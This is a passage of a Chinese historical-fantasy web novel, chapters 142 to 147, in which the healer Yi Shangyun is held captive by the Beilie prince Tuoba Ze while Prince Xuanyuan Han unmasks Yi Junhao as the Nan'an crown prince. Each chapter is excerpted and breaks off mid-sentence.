衣上云这才低声朝其幽幽道“今日我和兰香在梦园赏梦花的时候恰巧碰到了二郎,那二郎说当年他确实回家跟家里讲过要上门提亲的事,不想却被家里的管家从中作梗,这才致使他们俩人误了终身。这两年那二郎竟一直在梦园里等着兰香。可就在二郎对兰香解释的时候,出现了一名杀手,想必应该就是和此时这些人一伙的。他们想杀兰香灭口,刚好被那二郎看见并帮其挡下了那支致命的毒剑,当场毒发身亡了。” 老人闻之,心中一时间百感交集,而转眼又似是有些不相信自己的耳朵,又问了一次确认道“那二郎说的都是真的?他真是为了救我们香儿死的?这么说,是我们错怪了他,他不是言而无信之人?” 衣上云重重地点头,老人随即转头过去低垂着脸神色黯然,不禁长叹口气,嘴里喃喃道“唉,天意,都是天意,天意弄人啊。” 稍一回神来,老人又朝着衣上云说道“姑娘,我知道你是正经人家的好姑娘,若要是也有两情相悦,愿意为你去死的人,可一定千万要珍惜啊。人生苦短,不要等到阴阳两隔了,才开始念念不忘。” 听了老人的一番忠告,衣上云忽然径自呆愣着口中重复道“两情相悦,愿意为你去死...人生苦短...阴阳两隔...念念不忘。这个人,应该只有21世纪的魏明轩了吧?除了他,还会有谁呢?” 就在衣上云沉思之际,扶着老人另一只胳膊的嫣红在一边默默发声道“姑娘,嫣红只想知道,香儿姐她现在人在哪里,安全么?” 衣上云方才回神,笑着说“你们放心,兰香,她很安全,她不会有任何危险的。” “闭嘴,瞎嘀咕什么呢,小心老子抽死你。”看到三人窃窃私语,身后的那名手下又凶神恶煞地朝她们喝着。 就在这时,不知为何,衣上云忽然停下脚步转过身去朝着身后发狠的那人厉声怒道“光说有什么用,吓唬人么?要不现在本姑娘借你个胆,你不妨来试试,本姑娘可不是吓大的。” 谁知那人竟是个纸老虎,一时间竟被衣上云这番话吓得再也不敢作声,只怔在原地里丝毫都已不能动弹。 见他已然惊吓成这幅模样,衣上云自是也不屑与这种狗仗人势的小人多做纠缠,只朝着拓跋泽的贴身侍卫轻蔑地瞪了一眼,便只顾转身来扶起老人的胳膊继续向前迈起步来。 然她心里暗想着的,却是“不入虎穴,焉得虎子。若不是本姑娘决心以身试险,不但要将玉娘找出来给婆婆和灵儿一个交代,顺便看看那万娇阁里的北烈国皇子究竟有何能耐?就凭你们几个,也能将本姑娘控制住?本姑娘至今可还一招都未出呢!” 是夜,万娇阁后院的阁楼里,昏暗的烛火下,拓跋泽已经从暗室又回到了他最喜欢的茶室里。 此时,他正端坐在茶席边,依旧面前烹煮着一壶清 第一百四十二章:有秦王殿下在,不怕 听到拓跋泽这句话,侍卫立即茅开顿塞“殿下是说,和她一起来万娇阁的另外那位戴面具的公子?” 拓跋泽没有回答,只一脸平静地重新倒了一杯热茶拿起来抿了一口。 然侍卫却又一脸迷茫地问“可如今,我们去哪里找那位公子呢?” “能来西秦万娇阁里消遣的客人,会在哪里落脚呢?”拓跋泽提示道。 侍卫顿时喜逐颜开,大声道“如意居。” 拓跋泽缓缓放下手中的茶盏,侍卫急急说道“属下明白了,属下这就马上去安排,一定将那个贱人碎尸万段不可。” 就在侍卫正要转身离去的时候,又问一句“那衣上云这三人,属下先将她们关在一起?” 稍一思量,拓跋泽吐了口气,对其吩咐道“衣上云,把她先和玉娘关在一起。其他俩个,一并交给老鸨处置。” 侍卫闻此,先怔了一下,随后又领命退了下去。 一室寂静,昏暗的烛火将茶席上人的影子拉的很长很长,犹如他此刻的心事一般连绵而悠长…… “吱呀”伴随着一阵铁锁被打开的声音后,万娇阁的角落里,一个废旧储物间的房门忽然被打开来。 房内,俩个年纪相仿的妙龄女子和一位满头银发的孱弱老人正各自心中怀揣着一份忐忑与不安,依偎靠坐在一起,默默盘算着自己的心事。 这时,走进来两个如狼似虎的带刀侍卫。气势汹汹地一进门来便锁定了三人的方向朝其走去,其中一名侍卫一过去便伸手一把将正在席地而坐的衣上云捞了起来,随即用力往外推了去。 “你们干什么?你们要把她带到哪儿去?”见此,嫣红忽的一下站起身来,匆匆追上前去一把用力抓住了衣上云细细的胳膊,朝那恶狠狠的侍卫问道。 “滚开,是不是想找死啊?”谁料,后面跟着的另一名侍卫竟瞬间持起刀向着嫣红瞪大了眼睛,一边伸手一把便极为轻松地就将俩人分了开来,一边狠狠撂下了那句话便又转头继续将衣上云两三下便推出了门去。 “姑娘,姑娘...”此时,那孱弱老人方才艰难的站起身来嘴里弱弱地呼唤着,嫣红蹙眉无奈的看着衣上云被那俩个恶人推出门去,又回头看看摇摇晃晃的老人,随即赶忙走回去扶起老人的胳膊,以防她不小心摔倒。 似是此时都还极不放心她,想再多看她一眼,于是在那房门尚且还没有被关上的时候,依旧无畏地朝门口疾步迈过去。 可却只在刚好听到衣上云的一句“婆婆不要担心,我不会有事的。”随后,房门便又一次被门口的守卫从外面锁了起来。 这时,嫣红急急松开老人的胳膊,在门里面使劲地用手拍打着那冰冷的门板,大声叫喊着“开门,快开 门,放我出去,放我出去,我…我要见妈妈,我要见妈妈,快开门。” 然听到嫣红大闹的声音,门外的守卫却也似是极为无奈地回答她道“嫣红姑娘,你就不要白费力气了。这次关你是阁主下的命令,没有他的命令,谁都不敢来见你的,更别说放你出去了。” 闻此,嫣红终于放弃了最后的挣扎,缓缓收回了那双因为用力太大而早已经拍红了的纤纤玉手,耷拉着脑袋一脸的黯然神伤,心灰意冷。 她默默地心想着,难道这次,真的连茹姨也保不了她了么?方才在兰香家中,当着阁主的近身侍卫当前,她说了那么多北烈和阁主的坏话,阁主一定不会放过她的。看来,阁主真的是打算釜底抽薪要回国去了,竟什么都不管不顾了。 见嫣红此时如此垂头丧气着,老人开口安慰她道“姑娘,放心吧,我们会没事的,大家都会没事的。你不是说秦王殿下已经预见了万娇阁里隐藏着大阴谋,将这里整个都包围起来了么?既然有秦王殿下在,就连战场上奋勇抗敌的士兵都不怕,在这小小万娇阁里的我们还怕什么?他们北烈国的奸计一定不会得逞的,咱们西秦子民才不会惧怕这几个区区北烈国的野蛮人。” 闻此,嫣红竟瞬间被老人的话惊呆了,似是刚刚还愁云满布着的思绪一下子便被阳光照射散了去,不禁感叹道“是啊,有秦王殿下在,又是我们自己的地盘,有什么好怕的呢?我们一定都会没事的。” 说着,俩人凝视着彼此的眼睛,紧紧地将手握在一起,心里眼里尽是满满的希望。 再往前走不就是兰香在万娇阁里的屋子了么,衣上云看着前面带路的侍卫所去的方向,心里暗自想着,他们带我来这里做什么,难道是兰香没有逃脱那杀手的追杀,被捉回来了? 就算当时情势紧急,兰香来不及细细说清楚,但衣上云从兰香当时的举动中也早就已经猜到,今日要取兰香性命的一定是万娇阁派出的人。 可如果连兰香也没有逃脱的话,那可就再也没有任何人知道她如今已身陷囫囵了啊。 换句话说,如果她没有按照当时与兰香约定的时间将兰香的外婆带回到如意居里,兰香便会将营救失败这事告诉易三少,也自会第一时间带易三少到万娇阁救人。 可如今,如果连去帮她搬救兵的兰香也被捉住了,那就没有任何人知道她被困在了万娇阁里面,更没有任何人能帮她离开这里了。 & 第一百四十三章:我答应,跟你回北烈 半晌后,侍卫似是平复了许多,转念又开口幽幽问道“对了,如今既然衣姑娘也已经知道了我们万娇阁的真实背景,咱们也就不妨明人不说暗话。不知,衣姑娘女扮男装到万娇阁来,所为何事呢?” 衣上云等的便是他这句话,脱口即出“你们把玉娘藏到哪儿去了?” 果然如主子所料,这衣上云还真是为了那玉娘而来,侍卫心里暗自琢磨着,稍作犹豫,他又放眼过去看了看那一片漆黑当中的珠帘后的主人,缓缓道“如果我们把玉娘交出来,那衣姑娘是不是就会考虑接受我们北烈国的邀约了呢?” “哼,你们这算是威胁本姑娘么?”衣上云闻此嗤之以鼻地朝那侍卫怒道。 “衣姑娘此言差矣,对于您这样的世间奇才,我们北烈国求之尚且不及,又怎来威胁一说呢?我们只是觉得像姑娘这样世间难得的解毒高手,做一名奴颜婢膝的王府医女实在是太屈才了.有道是‘良禽择木而栖’,这若是以后跟着我们殿下,姑娘你大可享尽这世间无穷无尽的繁华与尊荣,何乐而不为呢?” 听了侍卫这番话,衣上云更不屑与他这类人继续再多做言语,最后只道“你们当真以为这天下皆是些卖国求荣的不知廉耻之徒么?奴颜婢膝怎么了?王府的医女又怎么了?王府的医女也好,奴婢也罢,皆是靠自己正经的本事过活,心安理得的吃饭。可如果背叛了西秦,违背了自己的良知,即便日后锦衣玉食,极尽奢华,亦是落得个遗臭万年卖国贼的骂名,永生永世都遭人唾弃。这孰轻孰重,不必我说,想必就连你这样的蠢货尚且都能分的清吧?!” “你…衣上云,你不要太不识抬举了,若是再继续这样挑衅我的忍耐度的话,休怪我对你不客气。”显然,侍卫又一次被衣上云气的跳脚起来。 然衣上云却只瞪了他一眼,丝毫不惧怕他。随即依旧镇定自若地朝着屋内那漆黑的角落里的珠帘后面淡淡地斜了一眼,平静地道“好了,不要再在我面狐假虎威了,一口一个北烈国北烈国的,好像这北烈国是你一个小小侍卫说了就算的一般。我看我们今日谈的这些事,也不是你这个身份便能做得了主的。你也就不要在这里再多费唇舌瞎吵吵浪费时间了。不妨...让你的主子从那帘子后面出来亲自谈好了,躲在黑暗里太久,别憋闷坏了。” 侍卫闻之,惊讶地看向了那一片漆黑之中。 而接着,拓跋泽果然缓缓起身来掀开密密的帘子从那黑暗的角落里走了出来,一边拍手鼓掌,一边大笑道“哈哈哈哈哈,好,好,好。果然是个奇女子。本皇子久闻衣姑娘医药之术颇为不凡,今日一见,不想竟还是个忠贞爱国的热血女子,佩服,佩服 。” 岂料,他的这番甚是高调的惺惺作态,衣上云见闻却并没有理会,甚至都未曾正眼瞧他一下,只依旧如初般端坐在案几边正视着前方,只细微地朝其不屑冷冷哼笑了一声。 拓跋泽无趣的戛然而止,随即摆了摆手,一旁的侍卫便匆匆行礼退了出去,室内只剩下其与衣上云俩人。 紧接着,他迈步走到一旁熄灭着的油灯边上,又亲自动手点亮了其中两盏,挑了挑灯芯,屋里瞬间亮堂了许多。于是,他缓缓迈步亦走向衣上云坐着的案几边上亦落坐下来,道“衣姑娘,本皇子不妨就打开天窗说亮话吧。” 这时,衣上云方才眨了眨眼睛,似是已经做好了聆听及迎战的准备。 拓跋泽随即开口问道“不知衣姑娘与玉娘是朋友,还是亲戚?” 衣上云冷冷地回了一句“我与玉娘非亲非故。” 拓跋泽惊讶地怔了一下“非亲非故?衣姑娘为何要冒险去救一个与自己非亲非故之人呢?” 衣上云闻此忽然扭头看了他一眼,稍作思索,后又收回视线依旧正色着回他“如果你要这样问的话...我与玉娘原本是非亲非故,但今日因为你这个人和你这个人的这句话,我便与玉娘成了同命相连的手足同胞。自己同命相连的手足被困,我又岂有袖手旁观,不救之理?” 拓跋泽听了似是有些疑惑不已,问“因为我这个人和我的这句话,你与玉娘成了同命相连的手足同胞?不知衣姑娘这句话如何做解?” 衣上云哼笑一声,忽然抬起头来眼睛冷冷地看着他,一字一句,铿锵有力道“面对外敌入侵,国将不国,每一个西秦国人皆为一奶同胞的兄弟姐妹。” 话一说完,拓跋泽不禁心中顿时肃然起敬,深感震惊,竟瞬间呆愣了住。 半晌后,方才醒过神来。眼睛忽然落在案几上放在衣上云面前的那盏她至今都尚未动半分的玫瑰红茶上。 只见他左手优雅地端起,撩着右边的袖袍,将手伸过去在衣上云的面前,将她面前那盏早已冷掉的茶汤拿回来倒掉,又重新烹煮了一壶新茶亲自帮她添上“姑娘果然非一般女子所能及,方才的话真是语出惊人,让本皇子甚为动容啊。” 见衣上云依旧面无好色,拓跋泽却端起一脸笑容道“衣姑娘不妨尝尝这杯南国上好的的玫瑰红茶,这可是玉娘很喜欢的一道茶汤。” 闻此,衣上云终于想起来,难怪方才她一进屋来,就觉得有一种似曾相识的味道。眼前这个茶香味和玉娘与兰香人手一只的那个散发着阵阵幽幽茶香的香囊上的味道竟是一模一样的。如此珍贵的南国极品玫瑰花茶,难道...那香囊里的茶叶是拓跋 第一百四十四章:果然都不在如意居 是夜,淡淡的月光下,路上行人已三三两两,渐渐散了去。 城南如意居门外,一个庶民打扮的妙龄女子,被白天的一场突然而至的大雨淋的一身狼狈。 此时,她正站在门外的路边上,一脸欣喜地望着眼前那颇具气势的门牌匾额,口中喃喃着“云儿,我终于到了你所说的如意居了。” 片刻后,只见她轻轻撩起裙摆来,缓缓走上石阶倚在门边上眼巴巴地朝里面四下张望着,偶尔进进出出的客人,无一不蹙眉掩鼻朝其投去嫌弃的目光。 这时,掌柜的看见,便朝一边的小厮使了个眼色,那小厮便快步朝向女子走了过去。 “走走走走走…知道这是什么地方么,也是你这种人可以随便进来瞎看的?”小厮一过去便大力的捉起女子的手腕来,将其拖到离大门很远的一个不起眼的角落里,方才将其狠狠推了一把,丢开了手。 “小哥,我是来找人的,求你让我进去吧,好么?”女子恳切地向其请求道。 闻此,小厮上下将女子仔细地重新打量了一番,怀疑道“找人?你…” 女子这才察觉到了自己的失态,不禁双手将衣襟紧紧地攥捏在手里,弱弱地点了点头,道“嗯,我真是来找人的。我找一位叫江志煊的公子,是她的朋友让我来这里找他的。” “江志煊?” 就在小厮迟疑思索之际,女子连忙描述道“哦,那位公子戴着一个蝶形面具?” 小厮方才恍然大悟,原是她要找的是那个遮着面具,看似神神秘秘的男子“喔,是他啊,可他早就已经离开如意居了啊。” “什么?离开了,不可能,绝对不可能,你骗我,你一定是在骗我,想赶我走,对不对?我要进去找他,我要进去…”女子一边说着,又朝着门口疾步奔去。 小厮眼疾手快地伸手再一次将其抓了回来,死死地挡拦着,俩人都互不相让,纠缠在一起。 女子声撕竭力地向其苦苦哀求着“小哥,人命关天,求求你,就让我进去吧!求求你了,让我见江公子一面吧,就见一面,哪怕就让我对他说一句话也行的,我求求你了。” 那小厮亦是情真意切地推推嚷嚷着,道“姐啊,不是我不帮你,是在咱们店里歇着的,根本就没有你说的这个戴着蝶形面具叫做江志煊的客人啊,他早就离开了。再说了,你看你这一身凌乱不堪的样子,咱们如意居里住的,那可都是些非富即贵,有头有脸的达官显贵,你这样怎么能进去呢?今天,我要是把你放进去了,那我就得卷铺盖滚蛋了呀!我还是求求你,你就发发慈悲,饶过我吧,我家里可还上有老下有小,都张着嘴等我这点工钱回家吃饭呢?” 女子见小厮久久都对她丝毫 没有卸下防备之心,紧紧盯着她,僵持不下,索性便用双手在嘴边拢成喇叭状,对着如意居楼上的方向使尽全身所有力气来大喊“江志煊,江志煊,你快出来,快出来啊!是你的朋友让我来这里找你的,你赶快出来啊。” “看吧,我都说了这里没有你要找的那个客人,他已经走了,离开了,你偏不信。你这么大声,他若是在的话,早都听见出来见你了。可见,你就算是喊破喉咙也不能凭空喊出个人来啊,我劝你还是省省力气,快些回家去吧。这夜已经这么深了,你一个姑娘家,待会儿路上可就不安全了。”小厮依旧一边看看路上已经难得一见的人影,一边对其好言相劝道。 谁知,听了小厮的话,那女子竟突然“扑通”一声,似是极为伤心绝望地重重跪倒在了地上,随即声泪俱下地哭了起来,一边哭一边嘴里自顾自喃喃道“云儿,江志煊真的已经不在这里了,怎么办,我该怎么办吗?你可千万不能有事,一定要想办法平安回到这里来呀。” 小厮站在一旁眼睁睁的看着女子无奈的摇了摇头,半晌后,就在他即将转头欲回到如意居里去的一刹那间,倒地的女子似是忽然又想起了什么,顿时止住了哭声“小哥,请留步。” “你还有什么事?”小厮言语里已多少有些不耐烦,但依旧还是心有不忍地回过了头来。 女子急忙捉起手背来抹了一把眼泪,又吸了吸鼻子,随即起身来快步上前走到小厮身边,问道“小哥,我还想打听一下,如意居里是不是还住着一位名叫易君浩的客人?” 小厮摸了摸后脑勺,一边回忆着一边口中自言自语“易君浩,易君浩…” 这几乎已经是那女子最后的那根救命稻草了,女子自是想要拼命将其牢牢抓住。 虽说衣上云交待过她,明日天亮她若还没回来的话,方才允许她去找易君浩,但既然江志煊已经离开了,她自是无论如何只能找这位主了。 于是,她连忙提醒小厮道“小哥,真的请你好好想想,事关许多人的性命,拜托你真的要想起来啊。” 终于,小厮眼睛一怔,女子亦是与此同时瞪大了眼睛急道“小哥是想起来了,是么?” 小厮终于开了口“是的,咱们店里是住着这么一位叫易君浩的天字号客房的贵客……” 还未及小厮將话说完,女子便一下子捉起小厮的手腕喜极而泣起来,顺势拉起他便走“快走,快带我去见他,他一定会见我的……” 然小厮却愣在原地里一动不动,女子见此,回头不解道“怎么了,你怎么不走呀?” &n 第一百四十五章:本王等你很久了 “你就老老实实给我在这里呆着,不要到处乱跑,等那公子回来了,我亲自过来叫你。” 小厮抛下最后这句话给女子,便进到了如意居里去。 此时,她方才缓缓将头抬起,望向这寂静的夜空中,那片朦朦胧胧,淡淡的月色,方才想起了她的二郎和白天发生在梦园里的所有事,不禁悄悄地流下了两行伤情的眼泪来,随风吹拂…… 忽然,女子似是察觉到了在她身后,那片漆黑的夜雾里,似是有什么人在向她靠近。 于是,她慢慢转身朝其看了一眼,只见缓缓走出来两个男子人影。 她瞬间睁大了眼睛再仔细一看,这俩名男子乃是身着一模一样的一袭黑色夜行衣,头部遮的严严实实,只露出两只冷厉的眼睛,貌似是冷面杀手,各自手里还持着一把寒光四射的利剑,正气势汹汹,恶狠狠地瞪着眼睛朝她走来。 女子顿时被惊吓的慌乱无措起来,她急急回过头来朝周围看了看,确是空无一人,亦无处可避。 情急之下,她已顾不了许多,只得撒腿便往如意居门口跑去。 谁知,那两名黑衣杀手看到自己被发现,目标女子开始逃跑,亦是即刻便加快了脚步紧追不舍。 而此时,如意居里柜台上,掌柜的见小厮进门回来,抬头稍稍瞟了他一眼,开口询问道“怎么出去这么久?” 小厮刚进门来,先是驻足呆愣了一下,接着一边继续朝里走一边对其扯谎道“哦,刚才那女子不知受了什么刺激,疯疯癫癫的在外面大吼大叫,小的怕影响客人们休息,劝了半天,才将她劝下。” 掌柜的依旧只埋头顾着拨动自己手中的算盘珠子,发出“噼里啪啦”的声响,嘴里喃喃道“难怪方才我好像听到有人在外面胡乱喊叫?如今那女子人呢,你可已将她打发了?” 小厮自信地对其信誓旦旦道“掌柜的放心,小的已经将她打发走远了,她绝对不会再回来喧闹了。” “小子,做的不错啊。”听到掌柜的夸奖,小厮脸上顿时现出了似是满意的笑容来。 “好了,时间也不早了,我先上楼了,今夜就辛苦你们几个了。”掌柜的终于稽查完了账簿,随便收拾了两下,便从柜台里缓缓走了出来,朝着店内几个值夜的小厮客气地说道。 “放心吧,掌柜的明儿见。”听了这小厮的话,掌柜的冲其颇为满意的笑了笑,便上了楼去。 就在掌柜的转身之际,女子神色匆匆地疾跑过来,站在门外的石阶下,大口地吞咽着口水,眼巴巴的望着那小厮,可小厮却站在里面柜台边上蹙眉以怒目相对,似是在警告着她,她若敢进来,这次必定不会轻饶她。 女子一回头,眼看着那两名黑衣杀手举剑就要追过来 了,心里顿时更加焦急紧张了。 小厮并不知道此时外面发生了何事,只唯恐掌柜的回过头来发现女子并未离开而斥责自己,便紧接着连忙朝着女子使了个眼色。 见之,不得已女子只能无奈的另做其他打算,后面已经被黑衣杀手堵死了,她只能急急看看左右两边的道儿,却都是一样的漆黑一片,亦都是不见半点人影,不知前路到底是凶是吉。 慌乱之下,她索性便胡乱选了一条逃了去。 当女子的身影刚刚离开小厮的视线时,掌柜的似是察觉到了门口的异样,忽然回过头来朝着门口望了一眼,却只看到寂静的一片夜色。随即露出一脸狐疑,又扭头接着继续上楼去。 而那小厮此时方才长长的舒了口气,真正的感觉自己就像是做小偷似的,不禁摇摇头,低低的发出一声长叹“唉,若不是见你可怜,若不是受了那公子的赏钱,我才懒得做如此让人提心吊胆的事儿呢。” 就在女子刚离开不久,从她相反的方向,隐隐约约传出来连续不断的马蹄踏地所发出的“嘚嘚嘚……”的声响。 这声音越来越近,渐渐的,夜雾里现出来一个身着一袭紫红色棉袍,外披黑色斗篷,兜着风帽。风帽下现出一双即使是在深夜,淡淡的月光照射下,依旧清晰可见的一双细长而又温柔的桃花眼,骑着高头大白马,在夜间疾驰着的妖艳美男子身姿来。 此人正是急急处理完此行来城南的所有生意,连夜赶回来如意居与他的丫头汇合,准备一起回城西去的百草谷谷主易君浩。 一到如意居的门口,还未等马儿将马蹄完全收稳,易君浩便早已急着起身来纵身一跃便下了马,随即一步踩上石阶跨进了门去。 趴在案几上正在打盹的小厮被他快步走过所带起的一阵风忽地惊醒。可一抬头,却只看到他早已上了楼去的潇洒背影。 于是,小厮缓缓起身来揉着朦朦胧胧,似醒非醒的睡眼,缓缓走出门去将那高大的白马儿牵往马厩中预备安置下来。 易君浩上楼后,忽然放慢了脚步,缓缓整理起自己的衣装来,又转头看了看窗外已渐渐西斜的淡淡月色,心中暗想,这么晚了,丫头应该已经歇了吧?! 想着想着,不知不觉间,他已经来到了衣上云门口,瞬间惊喜的看到里面的烛火竟还是亮着的。 于是,他又一次整理衣装,顿时打起了十二万分的精神来,端着自己最好看的笑容,伸出手去正想叩门,却看到房间的门是半掩着的。 随即,挂在脸上的笑容亦忽然暗了几分。稍作思量,他将那只悬在半空中的骨节分明的一只大手终于伸了出去缓缓将门推开来,接下来,却只听他极为惊讶的一声道“怎么是你,深 更半夜的,你坐在丫头的房间里做什么?” “ 第一百四十六章:愿为她,争灵空 听了易君浩对发生在万娇阁里诸事的一番细述,轩辕翰终于对自己的所有猜测确定无疑,却又感深深纳闷,幽幽道“如此看来,当下果真只有先找到那兰香,方才能找到云儿的下落。可这兰香一个风尘女子,犹如无根之浮萍,她究竟能去哪儿呢?” “咚咚咚”就在俩人各自陷入同一片沉思之际,一阵叩门声响起。 走进来的是轩辕翰的副将程良,手里拿着一封密函“殿下,刚到的急件。” 程良将信函郑重地一交到轩辕翰手中,便退了下去将门掩起。 轩辕翰将密函一接过来便迫不及待地将其打开,仔细审阅起来。当他看到其中两幅男子画像时,却忽然抬眼向着正在低头沉思不语的易君浩怔了一下,又将目光匆匆继续挪回到画像底下那几张刚毅的字里行间。 就在这时,易君浩稍一迟疑,已然坐不住了,便立刻又一次急急站起身来,轩辕翰见此问道“你要去哪里?” 易君浩显得尤为着急又有些不悦,对他直言道“当然是设法去找兰香寻丫头啊,难不成同秦王你一起坐在这里悠闲地读信品茗?” 易君浩自是不知,轩辕翰这几日迟迟没有行动,很大一部分原因就是在等程良刚刚送进来的这个消息。 而他等的这个消息,虽然在他心里早已有数,然此时亲眼所见被人证实,却依旧让他颇为一惊。 他在衣上云的房间里等信,亦是等易三少回来与他对此密函里的消息当堂对峙。 这一切时间,他把握的似乎刚刚好。 方才与他之间的所有言语,也才只是刚起了个头而已。今天,他想跟他谈的重点可并不止于此。 至此,轩辕翰开口将他拦住“你等等。” “还有什么事?”易君浩依旧保持着方才起身站着准备离去的姿势俯视着他,口气里似是有些迫不及待和责怪,疑惑着问。 轩辕翰见他已然因为衣上云的事已沉不住气,便先冷冷地宽慰他,道“万娇阁里暗藏着阴谋重重,那兰香若是对云儿真有敌意,便不会将她带出万娇阁。所以,有兰香在,云儿暂时不会有危险。本王今日…是想跟你谈另外一些事。” 易君浩闻之,觉得其所言也似有些道理。那兰香看起来仿佛并不像是个大奸大恶之人,而那万娇阁,如此颇具规模的鱼目混杂之地,自是背景也不会简单。 不过,这一切与他又有何关联,哪怕是这整个灵空大陆,除了衣上云,任一切都不是他所上心的。 可见轩辕翰忽然如此一本正经的样子,他便索性回坐了去,他倒要看看这西秦秦王究竟葫芦里要卖什么药? 然开口说话的言语间还是有些不耐烦地催促道“有话快说,到底什么事?” 见他终 于不再冲动,轩辕翰方才将已看完的密函缓缓收起,而接着却忽然用一种极其异样的眼神盯向了易君浩的眼睛。 不知为何,易君浩见此竟瞬间觉得极为不自然,那感觉就像是自己做了什么坏事,而被人识破了一般,竟不自觉地眼光扑朔四下里躲闪起来,不敢直视对方。 片刻后,轩辕翰忽然冷哼了一声收回了他审视的目光,竟亲自斟了一盏热茶朝易君浩递了过去到其面前举着,却冷不防的看着他的眼睛极为客气地说“对了,本王应该唤你一声…南安太子,对么?” 轩辕翰许久查这百草谷和百草堂正主易君浩的来头,却只查到他并非西秦国人,而属南安人士。其他再都没有进展。无奈,便只得将此事交于西秦学院陆贤接手,没想到,竟真被这陆贤给查到了。 方才的密函里说,陆贤派自己的一名绘画功底极好的学生假扮病患,多次前去百草堂里诊病,借机记住了易君浩的容貌,回到西秦学院里画了一幅十分逼真的画像。 又想那易君浩有如此实力在西秦国医药界呼风唤雨,在南安国里亦定是非富即贵,便又派绘此画像的学生本人亲自前往南安一趟,旨在接近一些王公贵族,探出其身份。 皇天不负有心人,在那学生经一贵族夫人举荐,被应邀在南安皇宫里为众妃嫔们作画的时候,却在无意中让他遇到了以前服侍那南安太子的近身侍女。 那侍女无意间捡拾到了那学生身上藏着的那幅易三少的画像,刚开始还以为是那学生盗窃了她们太子的画像。直到那侍女当着所有人的面,从太子宫殿里拿出了南安太子每年生辰的时候,宫里的画师帮其绘制的本人画像合集,数了数数,方才知道是自己弄错了。 后来,那学生慌称自己极欣赏那国师的画风,而且那画像里的人和他梦中所见的药菩萨长的一模一样,自己之前所作这幅简直太过拙劣,引得众人皆哗然笑之,便说服了众人将太子最后那年的画像临摹了一张带回西秦来。 就在告别离开之际,那侍女还私下告诉他,太子因和国君置气,好像是跟小时候的一个什么奶娘有关,已经离开南安国皇室多年,亦是名曰易君浩。并且得知南安太子天生擅长医药之术,而且其耳后还有一颗鲜为人知的红痣。 此时,易君浩闻此大吃一惊,瞬间抬起头对向他的眼睛怔住了半天后,却道“南安太子?你什么意思?我听不懂。”然其说这话的声音却越来越低,眼睛也有躲闪不定。 轩辕翰哼笑一声,悠悠道“据传南安国尊贵无比的太子,天生便擅长医药之术,而且其耳后还有一颗鲜为人知的红痣。怎么,还不肯承认么?不需要本王亲自帮你验明真身了吧?! ” 易君浩这时方才放弃了伪装,低声道“你…你是怎么知道本太子的身份?” 轩辕翰正色“哼,只要是本王想知道的,本王自有办 第一百四十七章:这个回报,你休想 易君浩根本不在乎他说了什么,只着急着想离开此地去找寻他丫头的下落“你到底想说什么,如果是说这些无稽之谈的话,那就免了。本太子很忙,没有时间陪你在这里……” 然还未等他將话说完,便被轩辕翰的一句话顿时惊呆了,轩辕翰说“万娇阁的正主乃是北烈大皇子拓跋泽,细细算来,他在我西秦至少也已经隐藏了有两年之久了。” 听到这话,易君浩顿时愣愣地惊声道:“什么?” 然随之却大笑起来“哈哈哈哈哈...原来,这西秦秦王也不过如此啊,竟治得自己的国家陷入如此四面楚歌的危境之中。” 就在这时,易君浩心里忽然似是明白了一件事情,接着对他说道“对了,本太子不妨再告诉你一件事,那日在万娇阁里,本太子也碰到了一个戴着蝶形面具的男子,那人言语里仿佛也是个细作。如今想来,在万娇阁自己的地盘上,他定不会是北烈的细作,也不会是我南安的细作,便只能是…富甲一方的东宁国细作了。哎吆…本太子忽然想起来,貌似秦王殿下的秦王妃亦刚好是这东宁国集万千宠爱于一身的永乐公主吧,难不成东宁是真打算要里应外合…如此,秦王可要格外小心了才是啊,放一个如此危险的美人儿整日在枕边...哈哈哈哈哈…” 易君浩话刚说完,接着又是一阵满是讥讽的大笑。而对于他这般伤口上撒盐,火上浇油般的讽刺和挑衅,轩辕翰自是选择默不作声,不屑予理会。 但易君浩此番言语,他口中所说的戴着蝶形面具似是细作的男子,倒却让轩辕翰更加确定了故意接近衣上云带其来万娇阁的人,定是那暗藏在西秦国里的东宁国三皇子梅志煊。只是,他到底为何要接近云儿,让他始终百思不得其解。 当易君浩察觉到自己的一番言语讽刺根本没有激到这个大冰块的时候,也终于正色下来道“看来,如今这西秦国,果真是成了传闻中的众矢之的了呀!” 轩辕翰略一抬眼不解地问“什么意思?” 易君浩叹了口气,起身来单手负后走到轩辕翰身后幽幽道“北烈皇子、本太子、还有那东宁细作,估计也定是个非一般的身份。难道秦王到现在,真的还不明白为什么所有人都聚集在你西秦境内么?…如今四国,论实力,各国可谓是势均力敌,不相上下。可如今却都按兵不动,是所为何由呢?只不过是其心中都对你西秦的那股神秘力量所忌惮罢了。” 稍作停顿,易君浩继续说道“自你西秦国先祖建国以来,整个灵空大陆,都盛传着在你西秦皇族内,存有一股世间极致神秘且至强的力量。也正是因这力量的守护,你们先祖才得以在这片落后贫瘠的西北之地 成功建国。此后,便有人云,得此力量者得天下,而这股力量究竟是什么,却无人知晓,世人皆众说纷纭。本太子相信,秦王也不是没有听说过此传闻,对么?” 见轩辕翰一直都沉默不语,没有丝毫动容,易君浩只得无奈道“好了,秦王既不愿说,那就算了。不过,本太子倒是相信,这力量总有一天会再现于世的。如若不然,怕是到时候...四国之战要在所难免了……” 易君浩的伺机试探终究没能有任何收获,然其最后说话的声音却愈来愈低。 其实,身为西秦皇族一员的轩辕翰,一直以来亦不明白这股力量到底是什么?这也是这么多年来,他交给陆贤探究的最大的难题。他又何曾不想早日找到并拥有这股力量,以免灵空大陆未来的一场浩劫,战争硝烟四起,百姓生灵涂炭…… 就在俩人各自沉默了片刻后,易君浩言道“好了,该说的也都说完了,要揭露的秦王也都一一暴露了。本太子还要去找丫头,就不陪秦王殿下在这儿忧思了,告辞。” 轩辕翰闻此,这才回过神来忙道“等等,拓跋泽身边一定有你南安国毒蛊师相助。云儿曾在一个老婆婆和其媳妇的身上,同时发现了你南安国的蛊毒和北烈国的毒草,而且不知何故,他们还将婆婆的媳妇在万娇阁里藏匿了起来。万娇阁后院的茶室里,一定暗藏玄机,程良对里面的情况最是清楚不过,本王派程良与你同行,将万娇阁里的阴谋全部揭开。” 轩辕翰的这句话倒是提醒了他,他还没找那个万娇阁的老鸨认识认识呢。于是,便爽快的答应道“哦?原来你说这么多,是要本太子帮你对付那万娇阁里的毒蛊师啊。好,本太子就答应帮你这一次。那作为回报,你也得答应本太子一件事,将云儿……” 